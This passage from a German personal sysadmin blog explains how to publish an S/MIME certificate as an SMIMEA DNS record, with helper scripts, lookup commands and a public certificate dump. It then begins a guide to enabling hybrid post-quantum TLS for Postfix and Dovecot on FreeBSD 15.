So weit, dass man sich bei manchen Diensten nicht einmal mehr mit einer „nicht Google“-E-Mail-Adresse registrieren kann. DeepSeek ist ein Beispiel. Die McDonald’s-App ein anderes.
Veränderung an sich ist nichts Schlechtes.
Neu ist nur die Geschwindigkeit. Schaut man 100 Jahre zurück und betrachtet, was in welchen Zeiträumen passiert ist, wird schnell klar: In den letzten 20 Jahren ist in der IT unfassbar viel passiert. Und es wird nicht langsamer.
Wenn ihr euch also das nächste Mal mit einer Agentur über euren Webauftritt unterhaltet und jemand von SEO spricht, fragt ruhig nach einer `llms.txt`. Oder werft den Begriff AEO in den Raum.
Ich bin gespannt, was passiert.
---
## 40. S/MIME-Zertifikat per DNS veröffentlichen – SMIMEA
**Veröffentlicht:** 2025-03-14
**Permalink:** https://www.kernel-error.de/2025/03/14/s-mime-zertifikat-erneuern-per-dns-veroeffentlichen-automatisiert-mit-python/
**Description:** S/MIME-Zertifikat im DNS veröffentlichen — SMIMEA Resource Record für automatische Zertifikats-Discovery und E-Mail-Verschlüsselung einrichten.
[Bild: smimea S/MIME Blog Image](https://www.kernel-error.de/wp-content/uploads/2025/03/smimea.webp)
Mal wieder soweit: Mein aktuelles S/MIME-Zertifikat zum Signieren von E-Mails läuft aus. Also habe ich mir ein neues besorgt. Da GlobalSign keine Class-2-Zertifikate mehr für Privatpersonen anbietet, musste ich die CA wechseln. Durch Zufall bin ich auf [**SSLplus**](https://sslplus.de/) gestoßen – die haben echt gute Angebote für alle möglichen Zertifikate. Aber darum soll es in diesem Beitrag nicht gehen.
Wie immer will ich mein Zertifikat öffentlich zugänglich machen, sonst müsste jeder erst eine von mir signierte E-Mail erhalten, bevor er mein Zertifikat hat. Erst dann könnten Absender mir verschlüsselte E-Mails schicken.
Dafür gibt es ein experimentelles **[RFC 8162](https://datatracker.ietf.org/doc/rfc8162/)**, das beschreibt, wie sich ein solches Zertifikat in einer DNSSEC-geschützten Zone veröffentlichen lässt. Natürlich gibt es im Internet wieder zig verschiedene Anleitungen und Wege, um das zu realisieren. Aber nichts wirklich Zuverlässiges, was ich finden konnte. Den DNS-Record für meine Bind9-Zone wieder manuell zu erstellen, hatte ich jedenfalls keine Lust.
Also habe ich zwei kleine Python3-Skripte geschrieben:
*smimea_generate_record.py* – Erstellt einen kopierbaren RR für die DNS-Zone. Kann interaktiv genutzt werden: Fragt nach E-Mail-Adresse und PEM-Zertifikat. Oder direkt mit Parametern aufgerufen werden. Prüft, ob E-Mail-Adresse und Zertifikat zusammenpassen, und gibt den fertigen Record aus.
```bash
./smimea_generate_record.py
Enter the email address: kernel-error@kernel-error.com
Enter the path to the PEM certificate: mail.pem
✅ Email 'kernel-error@kernel-error.com' matches the certificate!
🔹 **Generated BIND9 DNS Record:**
70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com. 3600 IN SMIMEA 3 0 0 (
30820714308204FCA003020102021073C13C478DA7B114B871F00737F1B0FB30
0D06092A864886F70D01010B0500304E310B300906035504061302504C312130
1F060355040A0C1841737365636F20446174612053797374656D7320532E412E
311C301A06035504030C1343657274756D20534D494D4520525341204341301E
170D3235303331333133343135355A170D3237303331333133343135345A3078
3114301206035504040C0B76616E206465204D65657231123010060355042A0C
0953656261737469616E311E301C06035504030C1553656261737469616E2076
616E206465204D656572312C302A06092A864886F70D010901161D6B65726E65
6C2D6572726F72406B65726E656C2D6572726F722E636F6D30820222300D0609
2A864886F70D01010105000382020F003082020A0282020100D0A90BC53ABA04
08543FE600F0F71C17BE7EB4A8996A8EF5E9122AAC8E7F39D627186617C4D6CA
734E1A9E6302F8076065EA93D762542D2C12BFF32D5D4942B9A8AA84E2E63CE9
B843C1665C014A6572A42E376ED0629694FCC942FE53D76052A40CDAB1257A1D
501D9C65DE18F27C5490A24181498A202E56F4DC0FDCBFE94766F96EBF47C872
3744ABD69DC684417106DF3D4F12FD52A13B786490366DBF6CB5A843621CD686
B06D072FD7D486BD0AC706021D137A365718DCD8709D55B64428F8DB56B268BD
BED463A25231B40566C041A48958BE1767E27E21881D2109935C02F27EA306B6
4997683EEFDF8685F4F090AB09692F232CD34AC7FF2296768CED62C68C37B4C3
DD9F04EC9F5C9BB9F712A5032AC2F83D68DA756E4F2886A6F65889CFAEA0C15E
3624EA3D9E3EFF91D68606F7B7B1B7120035AD4F71369E6D79977B4B2CC3575A
C51CAF419E795B78822DD36B6D0B0E4622BCE55F7B27FCB52FDCD6A4FBD33EF0
9F897CADA2E793D1509DE54773B3FBE9091CEA2E27A41CBA38A08BBBE1B15BF5
6EB35B21D66F5B1B1CC6FDD6362AA88A4010F3D2732F071A841BC765D6F74C3B
430D036A327918D08156BA2882D78113DD15633599319F4BD5D4F12E1F0102BA
33766ADF09DC58323246D20BAC815BE5B8822C260EFBB07ADBAB98FA42F31650
FEFAE5D679D4AD29992F199D59F38D54988D77B61E740CBF470203010001A382
01C2308201BE300C0603551D130101FF0402300030410603551D1F043A303830
36A034A0328630687474703A2F2F63736D696D6572736163612E63726C2E6365
7274756D2E706C2F63736D696D6572736163612E63726C30818306082B060105
0507010104773075302E06082B060105050730018622687474703A2F2F63736D
696D6572736163612E6F6373702D63657274756D2E636F6D304306082B060105
050730028637687474703A2F2F63736D696D6572736163612E7265706F736974
6F72792E63657274756D2E706C2F63736D696D6572736163612E636572301F06
03551D2304183016801466FBC30FBEF4BFE09CC9AB4DDE4719BDC0CAA668301D
0603551D0E041604148D8C102E11D87004F7DDB4E04FF01781888A32A0304C06
03551D20044530433009060767810C010504023036060B2A84680186F6770264
01013027302506082B06010505070201161968747470733A2F2F7777772E6365
7274756D2E706C2F435053301D0603551D250416301406082B06010505070304
06082B06010505070302300E0603551D0F0101FF0404030204F030280603551D
110421301F811D6B65726E656C2D6572726F72406B65726E656C2D6572726F72
2E636F6D300D06092A864886F70D01010B0500038202010070724799F05CF4C8
21854F43BD950BB608B989046349214F9D0EEC79F73A59DBF4063608FE5A7A7F
A50CD46A15486018EB9C334418084D8F97FE32EA21CCBAFE902BF6472DB6CA60
D79EBE09919AFA0652D92CB13B506400BAF4774F3263967A49548A6F723ADCBB
715AF79705099E5EC84E283DAFA3465908F4148C2B153C41D051C94295D4F042
54217D1C8E48DF59D92ECBCB4A872EC728A954DAF7B661DE8037F7F103393612
14163901ACFE98F3D597A67DBE87A8EE1FEC33DB71712F4907E0F3B1171E9176
158189AC8229B26B369C0FE2BBD5964CA2ABFC7D955485056102844E84E8F79E
0F30BF41D5F42B3C4F4CCA9BF9334D5728518473A0E61A3AFC88F59034F27154
6B5D806D86F1E8BC6B54B4E05F80C44835DCC2C534E419F63BBFDB305C1733B4
2DD2CC5795876F004F18C2E4D64B2C9FC6939590BE32501B6A6CEDB19B5FBF47
887C76E14C99A36D46E99B5C76782E4E345ECB37E8886303C84849ADC8BDE1AF
4E3A8096AEE407A40699D5C000ADCD16A4805DDF8FB208FFB902EF14031CFFBE
3C0DC03588EBF15557B3B1029B2CD196064BC0DEE1F11D12391825B86CB34A6F
BEBBAD43B0FE0EA43301F93D0B26ACED182B1E27063AE578C003D4D4498132B8
D980532754CFFBD9E6D8917615B62AE08295FC46391AA0FD9815FDD822D95E9B
7573CA35477D59B98DE4852065F58FB60E0E620D3E2F5CAD
)
```
*smimea_lookup.py* – Fragt den SMIMEA-Record im DNS ab, lädt das Zertifikat herunter und prüft es mit OpenSSL auf Gültigkeit. Funktioniert interaktiv oder mit übergebenen Werten.
```bash
./smimea_lookup.py
Enter the email address: kernel-error@kernel-error.com
Querying DNS for SMIMEA record:
70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com
Certificate saved as smimea_cert.der
Certificate successfully retrieved and verified:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
73:c1:3c:47:8d:a7:b1:14:b8:71:f0:07:37:f1:b0:fb
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = PL, O = Asseco Data Systems S.A., CN = Certum SMIME RSA CA
Validity
Not Before: Mar 13 13:41:55 2025 GMT
Not After : Mar 13 13:41:54 2027 GMT
Subject: SN = van de Meer, GN = Sebastian, CN = Sebastian van de Meer, emailAddress = kernel-error@kernel-error.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (4096 bit)
Modulus:
00:d0:a9:0b:c5:3a:ba:04:08:54:3f:e6:00:f0:f7:
1c:17:be:7e:b4:a8:99:6a:8e:f5:e9:12:2a:ac:8e:
7f:39:d6:27:18:66:17:c4:d6:ca:73:4e:1a:9e:63:
02:f8:07:60:65:ea:93:d7:62:54:2d:2c:12:bf:f3:
2d:5d:49:42:b9:a8:aa:84:e2:e6:3c:e9:b8:43:c1:
66:5c:01:4a:65:72:a4:2e:37:6e:d0:62:96:94:fc:
c9:42:fe:53:d7:60:52:a4:0c:da:b1:25:7a:1d:50:
1d:9c:65:de:18:f2:7c:54:90:a2:41:81:49:8a:20:
2e:56:f4:dc:0f:dc:bf:e9:47:66:f9:6e:bf:47:c8:
72:37:44:ab:d6:9d:c6:84:41:71:06:df:3d:4f:12:
fd:52:a1:3b:78:64:90:36:6d:bf:6c:b5:a8:43:62:
1c:d6:86:b0:6d:07:2f:d7:d4:86:bd:0a:c7:06:02:
1d:13:7a:36:57:18:dc:d8:70:9d:55:b6:44:28:f8:
db:56:b2:68:bd:be:d4:63:a2:52:31:b4:05:66:c0:
41:a4:89:58:be:17:67:e2:7e:21:88:1d:21:09:93:
5c:02:f2:7e:a3:06:b6:49:97:68:3e:ef:df:86:85:
f4:f0:90:ab:09:69:2f:23:2c:d3:4a:c7:ff:22:96:
76:8c:ed:62:c6:8c:37:b4:c3:dd:9f:04:ec:9f:5c:
9b:b9:f7:12:a5:03:2a:c2:f8:3d:68:da:75:6e:4f:
28:86:a6:f6:58:89:cf:ae:a0:c1:5e:36:24:ea:3d:
9e:3e:ff:91:d6:86:06:f7:b7:b1:b7:12:00:35:ad:
4f:71:36:9e:6d:79:97:7b:4b:2c:c3:57:5a:c5:1c:
af:41:9e:79:5b:78:82:2d:d3:6b:6d:0b:0e:46:22:
bc:e5:5f:7b:27:fc:b5:2f:dc:d6:a4:fb:d3:3e:f0:
9f:89:7c:ad:a2:e7:93:d1:50:9d:e5:47:73:b3:fb:
e9:09:1c:ea:2e:27:a4:1c:ba:38:a0:8b:bb:e1:b1:
5b:f5:6e:b3:5b:21:d6:6f:5b:1b:1c:c6:fd:d6:36:
2a:a8:8a:40:10:f3:d2:73:2f:07:1a:84:1b:c7:65:
d6:f7:4c:3b:43:0d:03:6a:32:79:18:d0:81:56:ba:
28:82:d7:81:13:dd:15:63:35:99:31:9f:4b:d5:d4:
f1:2e:1f:01:02:ba:33:76:6a:df:09:dc:58:32:32:
46:d2:0b:ac:81:5b:e5:b8:82:2c:26:0e:fb:b0:7a:
db:ab:98:fa:42:f3:16:50:fe:fa:e5:d6:79:d4:ad:
29:99:2f:19:9d:59:f3:8d:54:98:8d:77:b6:1e:74:
0c:bf:47
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 CRL Distribution Points:
Full Name:
URI:http://csmimersaca.crl.certum.pl/csmimersaca.crl
Authority Information Access:
OCSP - URI:http://csmimersaca.ocsp-certum.com
CA Issuers - URI:http://csmimersaca.repository.certum.pl/csmimersaca.cer
X509v3 Authority Key Identifier:
66:FB:C3:0F:BE:F4:BF:E0:9C:C9:AB:4D:DE:47:19:BD:C0:CA:A6:68
X509v3 Subject Key Identifier:
8D:8C:10:2E:11:D8:70:04:F7:DD:B4:E0:4F:F0:17:81:88:8A:32:A0
X509v3 Certificate Policies:
Policy: 2.23.140.1.5.4.2
Policy: 1.2.616.1.113527.2.100.1.1
CPS: https://www.certum.pl/CPS
X509v3 Extended Key Usage:
E-mail Protection, TLS Web Client Authentication
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment
X509v3 Subject Alternative Name:
email:kernel-error@kernel-error.com
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
70:72:47:99:f0:5c:f4:c8:21:85:4f:43:bd:95:0b:b6:08:b9:
89:04:63:49:21:4f:9d:0e:ec:79:f7:3a:59:db:f4:06:36:08:
fe:5a:7a:7f:a5:0c:d4:6a:15:48:60:18:eb:9c:33:44:18:08:
4d:8f:97:fe:32:ea:21:cc:ba:fe:90:2b:f6:47:2d:b6:ca:60:
d7:9e:be:09:91:9a:fa:06:52:d9:2c:b1:3b:50:64:00:ba:f4:
77:4f:32:63:96:7a:49:54:8a:6f:72:3a:dc:bb:71:5a:f7:97:
05:09:9e:5e:c8:4e:28:3d:af:a3:46:59:08:f4:14:8c:2b:15:
3c:41:d0:51:c9:42:95:d4:f0:42:54:21:7d:1c:8e:48:df:59:
d9:2e:cb:cb:4a:87:2e:c7:28:a9:54:da:f7:b6:61:de:80:37:
f7:f1:03:39:36:12:14:16:39:01:ac:fe:98:f3:d5:97:a6:7d:
be:87:a8:ee:1f:ec:33:db:71:71:2f:49:07:e0:f3:b1:17:1e:
91:76:15:81:89:ac:82:29:b2:6b:36:9c:0f:e2:bb:d5:96:4c:
a2:ab:fc:7d:95:54:85:05:61:02:84:4e:84:e8:f7:9e:0f:30:
bf:41:d5:f4:2b:3c:4f:4c:ca:9b:f9:33:4d:57:28:51:84:73:
a0:e6:1a:3a:fc:88:f5:90:34:f2:71:54:6b:5d:80:6d:86:f1:
e8:bc:6b:54:b4:e0:5f:80:c4:48:35:dc:c2:c5:34:e4:19:f6:
3b:bf:db:30:5c:17:33:b4:2d:d2:cc:57:95:87:6f:00:4f:18:
c2:e4:d6:4b:2c:9f:c6:93:95:90:be:32:50:1b:6a:6c:ed:b1:
9b:5f:bf:47:88:7c:76:e1:4c:99:a3:6d:46:e9:9b:5c:76:78:
2e:4e:34:5e:cb:37:e8:88:63:03:c8:48:49:ad:c8:bd:e1:af:
4e:3a:80:96:ae:e4:07:a4:06:99:d5:c0:00:ad:cd:16:a4:80:
5d:df:8f:b2:08:ff:b9:02:ef:14:03:1c:ff:be:3c:0d:c0:35:
88:eb:f1:55:57:b3:b1:02:9b:2c:d1:96:06:4b:c0:de:e1:f1:
1d:12:39:18:25:b8:6c:b3:4a:6f:be:bb:ad:43:b0:fe:0e:a4:
33:01:f9:3d:0b:26:ac:ed:18:2b:1e:27:06:3a:e5:78:c0:03:
d4:d4:49:81:32:b8:d9:80:53:27:54:cf:fb:d9:e6:d8:91:76:
15:b6:2a:e0:82:95:fc:46:39:1a:a0:fd:98:15:fd:d8:22:d9:
5e:9b:75:73:ca:35:47:7d:59:b9:8d:e4:85:20:65:f5:8f:b6:
0e:0e:62:0d:3e:2f:5c:ad
```
Beide Skripte findet ihr auf **[GitHub](https://github.com/Kernel-Error/smimea-tools)**, damit ihr sie nutzen oder verbessern könnt.
Warum habe ich geschrieben, dass ich nichts Zuverlässiges finden konnte? Nun, oft stoße ich auf Anleitungen, die noch auf TYPE53 basieren. Das ist nötig, wenn Bind9 den eigentlichen RR-Type noch nicht kennt – also ein klares Zeichen dafür, dass es sich um eine sehr frühe Implementierung handelt.
Ein weiteres häufiges Problem: Der Hash des Local-Parts wird einfach weggelassen. Stattdessen erfolgen die Abfragen direkt auf _smimecert., was aber falsch ist. Ohne den SHA256-Hash des Local-Parts gibt es keine eindeutige Zuordnung zur jeweiligen E-Mail-Adresse.
Warum ist der SMIMEA-DNS-Record so aufgebaut? Ganz einfach:
Der erste Teil, also , sorgt dafür, dass nicht einfach jeder direkt aus der DNS-Zone die E-Mail-Adressen auslesen kann. Statt die E-Mail-Adresse im Klartext zu speichern, wird stattdessen nur der SHA256-Hash des Local-Parts (also der Teil vor dem @) genutzt. Das bedeutet: Wer die genaue E-Mail-Adresse kennt, kann den passenden DNS-Eintrag finden – aber jemand, der einfach nur blind durch die Zone scannt, sieht nur Hashes und kann damit nichts anfangen.
Der _smimecert-Prefix zeigt an, dass es sich um einen SMIMEA-Record handelt, ähnlich wie es bei ._tcp. für SRV-Records oder _acme-challenge. für Let's Encrypt-Zertifikate der Fall ist.
Und schließlich kommt die Domain, zu der die E-Mail-Adresse gehört.
Zusammen ergibt das einen sicheren, einfach abfragbaren und nicht direkt durchsuchbaren DNS-Eintrag für dein S/MIME-Zertifikat.
Möchte man die Abfrage manuell mit dig für die E-Mail-Adresse „kernel-error@kernel-error.com“ durchführen, muss man zuerst den Local-Part der E-Mail-Adresse (kernel-error) mit SHA256 hashen. Laut RFC 8162, Abschnitt 3.1 wird der SHA-256-Hash auf die ersten 28 Bytes (56 Hex-Zeichen) gekürzt, um die DNS-Label-Längenbeschränkung von 63 Zeichen pro Label (RFC 1035, Abschnitt 2.3.4) einzuhalten.
```bash
echo -n "kernel-error" | sha256sum | awk '{print $1}' | cut -c1-56
70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0
```
Anschließend kann man die dig-Abfrage korrekt zusammensetzen:
```bash
dig +dnssec +short 70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com. SMIMEA
3 0 0 30820714308204FCA003020102021073C13C478DA7B114B871F00737 F1B0FB300D06092A864886F70D01010B0500304E310B300906035504 061302504C3121301F060355040A0C1841737365636F204461746120 53797374656D7320532E412E311C301A06035504030C134365727475 6D20534D494D4520525341204341301E170D32353033313331333431 35355A170D3237303331333133343135345A30783114301206035504 040C0B76616E206465204D65657231123010060355042A0C09536562 61737469616E311E301C06035504030C1553656261737469616E2076 616E206465204D656572312C302A06092A864886F70D010901161D6B 65726E656C2D6572726F72406B65726E656C2D6572726F722E636F6D 30820222300D06092A864886F70D01010105000382020F003082020A 0282020100D0A90BC53ABA0408543FE600F0F71C17BE7EB4A8996A8E F5E9122AAC8E7F39D627186617C4D6CA734E1A9E6302F8076065EA93 D762542D2C12BFF32D5D4942B9A8AA84E2E63CE9B843C1665C014A65 72A42E376ED0629694FCC942FE53D76052A40CDAB1257A1D501D9C65 DE18F27C5490A24181498A202E56F4DC0FDCBFE94766F96EBF47C872 3744ABD69DC684417106DF3D4F12FD52A13B786490366DBF6CB5A843 621CD686B06D072FD7D486BD0AC706021D137A365718DCD8709D55B6 4428F8DB56B268BDBED463A25231B40566C041A48958BE1767E27E21 881D2109935C02F27EA306B64997683EEFDF8685F4F090AB09692F23 2CD34AC7FF2296768CED62C68C37B4C3DD9F04EC9F5C9BB9F712A503 2AC2F83D68DA756E4F2886A6F65889CFAEA0C15E3624EA3D9E3EFF91 D68606F7B7B1B7120035AD4F71369E6D79977B4B2CC3575AC51CAF41 9E795B78822DD36B6D0B0E4622BCE55F7B27FCB52FDCD6A4FBD33EF0 9F897CADA2E793D1509DE54773B3FBE9091CEA2E27A41CBA38A08BBB E1B15BF56EB35B21D66F5B1B1CC6FDD6362AA88A4010F3D2732F071A 841BC765D6F74C3B430D036A327918D08156BA2882D78113DD156335 99319F4BD5D4F12E1F0102BA33766ADF09DC58323246D20BAC815BE5 B8822C260EFBB07ADBAB98FA42F31650FEFAE5D679D4AD29992F199D 59F38D54988D77B61E740CBF470203010001A38201C2308201BE300C 0603551D130101FF0402300030410603551D1F043A30383036A034A0 328630687474703A2F2F63736D696D6572736163612E63726C2E6365 7274756D2E706C2F63736D696D6572736163612E63726C3081830608 2B0601050507010104773075302E06082B0601050507300186226874 74703A2F2F63736D696D6572736163612E6F6373702D63657274756D 2E636F6D304306082B060105050730028637687474703A2F2F63736D 696D6572736163612E7265706F7369746F72792E63657274756D2E70 6C2F63736D696D6572736163612E636572301F0603551D2304183016 801466FBC30FBEF4BFE09CC9AB4DDE4719BDC0CAA668301D0603551D 0E041604148D8C102E11D87004F7DDB4E04FF01781888A32A0304C06 03551D20044530433009060767810C010504023036060B2A84680186 F677026401013027302506082B06010505070201161968747470733A 2F2F7777772E63657274756D2E706C2F435053301D0603551D250416 301406082B0601050507030406082B06010505070302300E0603551D 0F0101FF0404030204F030280603551D110421301F811D6B65726E65 6C2D6572726F72406B65726E656C2D6572726F722E636F6D300D0609 2A864886F70D01010B0500038202010070724799F05CF4C821854F43 BD950BB608B989046349214F9D0EEC79F73A59DBF4063608FE5A7A7F A50CD46A15486018EB9C334418084D8F97FE32EA21CCBAFE902BF647 2DB6CA60D79EBE09919AFA0652D92CB13B506400BAF4774F3263967A 49548A6F723ADCBB715AF79705099E5EC84E283DAFA3465908F4148C 2B153C41D051C94295D4F04254217D1C8E48DF59D92ECBCB4A872EC7 28A954DAF7B661DE8037F7F10339361214163901ACFE98F3D597A67D BE87A8EE1FEC33DB71712F4907E0F3B1171E9176158189AC8229B26B 369C0FE2BBD5964CA2ABFC7D955485056102844E84E8F79E0F30BF41 D5F42B3C4F4CCA9BF9334D5728518473A0E61A3AFC88F59034F27154 6B5D806D86F1E8BC6B54B4E05F80C44835DCC2C534E419F63BBFDB30 5C1733B42DD2CC5795876F004F18C2E4D64B2C9FC6939590BE32501B 6A6CEDB19B5FBF47887C76E14C99A36D46E99B5C76782E4E345ECB37 E8886303C84849ADC8BDE1AF4E3A8096AEE407A40699D5C000ADCD16 A4805DDF8FB208FFB902EF14031CFFBE3C0DC03588EBF15557B3B102 9B2CD196064BC0DEE1F11D12391825B86CB34A6FBEBBAD43B0FE0EA4 3301F93D0B26ACED182B1E27063AE578C003D4D4498132B8D9805327 54CFFBD9E6D8917615B62AE08295FC46391AA0FD9815FDD822D95E9B 7573CA35477D59B98DE4852065F58FB60E0E620D3E2F5CAD
```
**Was bedeutet das?**
3 → Gibt an, dass es sich um einen S/MIMEA-Record handelt. Die Zahl steht für den sogenannten "Usage"-Wert, also wie das Zertifikat genutzt wird. In diesem Fall bedeutet 3, dass es für eine End-Entity-Zertifizierung gedacht ist, also für die tatsächliche E-Mail-Verschlüsselung und Signatur.
0 → Der "Selector"-Wert. Hier steht 0, was bedeutet, dass der gesamte Public Key aus dem Zertifikat gespeichert wird. Alternativ könnte 1 stehen, dann wäre nur der "Subject Public Key Info"-Teil enthalten.
0 → Gibt an, welche Hash-Funktion verwendet wird. Ist es 1, steht es für SHA-256 steht. Alternativ könnte 2 für SHA-512 verwendet werden oder, wie in unserem Fall 0, was für das komplette Zertifikat steht.
Hexwerte → Das ist der eigentliche Zertifikatsinhalt, also der öffentliche Schlüssel in hexadezimaler Darstellung.
Möchte man den kompletten DNS-Record einmal manuell auf der Konsole prüfen, geht das wie folgt:
```bash
dig +short 70e1c7d87e825b3aba45e2a478025ea0d91d298038436abde5a4c2d0._smimecert.kernel-error.com SMIMEA | sed 's/^3 0 0 //' | tr -d '[:space:]' > dns_cert.hex
```
Damit holen wir uns den SMIMEA-Eintrag, entfernen die vorderen 3 0 0, da diese nur die Nutzungsparameter angeben, und speichern den reinen HEX-Wert in eine Datei.
```bash
xxd -r -p dns_cert.hex dns_cert.der
```
Hier wandeln wir den HEX-String in eine binäre DER-Datei um.
```bash
openssl x509 -inform DER -in dns_cert.der -text -noout
```
So kann man sich das Zertifikat im lesbaren Format anzeigen lassen.
**Und nun?**
SMIMEA ist leider noch immer nicht besonders weit verbreitet. Das liegt sicherlich daran, dass das RFC noch immer experimental ist, aber auch daran, dass es auf weiteren Techniken aufbaut, die ebenfalls eher selten genutzt werden. So braucht man SMIMEA nur, wenn man überhaupt selbst ein S/MIME-Zertifikat zur Signatur und Verschlüsselung von E-Mails verwendet. Zusätzlich muss die Domain per DNSSEC geschützt sein – was noch weniger verbreitet ist – und dann muss auch noch der zusätzliche Mehrwert von SMIMEA verstanden werden.
Denn SMIMEA verteilt nicht nur die Zertifikate, sondern macht einen direkt initial verschlüsselt erreichbar. Wenn man der Empfänger einer solchen signierten Nachricht ist, kann man das Zertifikat zudem gegen eine vertrauenswürdige DNS-Zone halten und sich so vergewissern, dass es wirklich die Signatur des Absenders ist – ähnlich wie bei TLSA/DANE.
Ihr kennt das doch mit der Sicherheit im Internet: Sie ist nur relevant, wenn man damit Geld verdienen kann oder wenn man Opfer geworden ist. Die Implementierung von SMIMEA ist also aktuell sehr überschaubar. Es gibt Milter für beispielsweise Postfix oder Plugins für Thunderbird, aber vor allem im Enterprise-Umfeld ist mir momentan keine funktionierende Lösung bekannt.
Pffff… Eigentlich wollte ich doch nur schnell schreiben, dass ich da zwei Python-Skripte zusammengebastelt habe – und am Ende ist es doch wieder so ein riesiges Ding geworden. 😅
Aber ich denke, vor allem der Teil mit dem gekürzten Hash des Local-Parts der E-Mail-Adresse ist wichtig zu erklären. Das ist echt eine verrückte Konstruktion. Klar, das hat seinen Sinn, aber zumindest ich bin damals genau an diesem Punkt hängen geblieben.
Naja, jetzt könnt ihr die Skripte nutzen und euch den ganzen Fummel selbst auf der CLI anschauen, testen und vor allem auch verstehen.
Viel Spaß! 😃
---
B.t.w.: Das einzig korrekt funktionierende online Tool, was ich finden konnte ist: [https://www.co.tt/smimea.cgi](https://www.co.tt/smimea.cgi)
Alle anderen sind nicht erreichbar, halten sich nicht ans RFC oder ich war zu blöde, sie zu bedienen.
---
## 41. Post-Quantum TLS für E-Mail — Postfix und Dovecot mit X25519MLKEM768 auf FreeBSD 15
**Veröffentlicht:** 2026-02-12
**Permalink:** https://www.kernel-error.de/2026/02/12/post-quantum-tls-fuer-e-mail-postfix-und-dovecot-mit-x25519mlkem768-auf-freebsd-15/
**Description:** Postfix und Dovecot auf FreeBSD 15 mit X25519MLKEM768 absichern — hybride Post-Quantum-Verschlüsselung für E-Mail. Update: Inbound/Outbound-Trennung per master.cf.
[Bild: Visualisierung hybrider Post-Quantum-TLS-Verschlüsselung für E-Mail mit X25519MLKEM768 (ML-KEM-768 + X25519) auf Postfix und Dovecot unter FreeBSD 15](https://www.kernel-error.de/wp-content/uploads/2026/02/PQC-postfix-dovecot.png)
Nachdem ich im letzten Beitrag [OpenSSH mit hybriden Post-Quantum-Algorithmen abgesichert](https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/) habe, lag die Frage nahe: Was ist eigentlich mit E-Mail? Mein FreeBSD 15 liefert **Postfix 3.10.6**, **Dovecot 2.3.21.1** und **OpenSSL 3.5.4** – und genau diese Kombination bringt alles mit, was man für quantensichere Verschlüsselung im Mailverkehr braucht. Ohne zusätzliche Pakete, ohne Patches, ohne Gefrickel.
### Warum überhaupt PQC für E-Mail?
Das „[Store now, decrypt later](https://en.wikipedia.org/wiki/Harvest_now,_decrypt_later)"-Szenario, das ich beim SSH-Beitrag angesprochen habe, trifft auf E-Mail mindestens genauso zu. E-Mails werden über SMTP zwischen Servern transportiert – und dieser Transport ist grundsätzlich abfangbar. Wer heute TLS-verschlüsselten Mailverkehr mitschneidet und archiviert, könnte diesen in einigen Jahren mit einem ausreichend leistungsfähigen Quantencomputer entschlüsseln. Zumindest theoretisch.
Heißt das, morgen liest jemand eure Mails? Nein. Aber wenn ihr vertrauliche Kommunikation betreibt und die heute eingesetzte Kryptografie in zehn Jahren noch standhalten soll, ist jetzt der richtige Zeitpunkt zum Handeln. Zumal der Aufwand (wie ihr gleich seht) überschaubar ist.
### Was steckt hinter X25519MLKEM768?
Kurz zur Einordnung: [**ML-KEM**](https://en.wikipedia.org/wiki/ML-KEM) (ehemals CRYSTALS-Kyber) ist der vom NIST im August 2024 standardisierte Post-Quantum-Algorithmus für den Schlüsselaustausch ([FIPS 203](https://csrc.nist.gov/pubs/fips/203/final)). **X25519MLKEM768** ist ein sogenannter Hybrid-Algorithmus – er kombiniert das klassische X25519 ([Curve25519](https://en.wikipedia.org/wiki/Curve25519) ECDH) mit ML-KEM-768 zu einem gemeinsamen Schlüssel.
Der Clou dabei: Selbst wenn ML-KEM irgendwann gebrochen werden sollte, bleibt die klassische X25519-Komponente intakt. Und umgekehrt. Man muss also nicht darauf vertrauen, dass der neue Algorithmus auch wirklich hält – man bekommt das Beste aus beiden Welten.
Wer Firefox nutzt, hat das übrigens vermutlich schon in Aktion gesehen: Seit Firefox 124 wird bei TLS 1.3 standardmäßig **X25519MLKEM768** für den Schlüsselaustausch verwendet. Schaut mal in die Verbindungsdetails einer HTTPS-Seite – die Chancen stehen gut, dass dort bereits ein hybrider PQC-Schlüsselaustausch stattfindet. Also, wenn der Server das anbietet, wie dieser hier *zwinker*.
### Voraussetzungen prüfen
Bevor ihr konfiguriert, solltet ihr sicherstellen, dass euer OpenSSL ML-KEM überhaupt kann. Auf meinem FreeBSD 15:
```
$ openssl version
OpenSSL 3.5.4 30 Sep 2025 (Library: OpenSSL 3.5.4 30 Sep 2025)
```
Und dann die entscheidende Frage – kennt OpenSSL die benötigten KEM-Algorithmen?
```
$ openssl list -kem-algorithms | grep -i mlkem
ML-KEM-512
ML-KEM-768
ML-KEM-1024
X25519MLKEM768
SecP256r1MLKEM768
```
Wenn **X25519MLKEM768** in der Liste auftaucht, seid ihr startklar. Das ist bei OpenSSL ab Version 3.5 der Fall – der ML-KEM-Support ist im Default-Provider enthalten, es wird kein zusätzlicher OQS-Provider und kein liboqs benötigt.
Noch ein Check – sind die Algorithmen auch als TLS-Gruppen verfügbar?
```
$ openssl list -tls-groups | grep -i mlkem
X25519MLKEM768
SecP256r1MLKEM768
SecP384r1MLKEM1024
```
Perfekt. Weiter geht's.
### Postfix konfigurieren
Postfix steuert die verwendeten TLS-Gruppen für den Schlüsselaustausch über den Parameter **tls_eecdh_auto_curves**. Dieser gilt sowohl für eingehende (smtpd) als auch für ausgehende (smtp) Verbindungen.
Vorher:
```
tls_eecdh_auto_curves = X25519, prime256v1, secp384r1
```
Nachher:
```
tls_eecdh_auto_curves = X25519MLKEM768, X25519, prime256v1, secp384r1
```
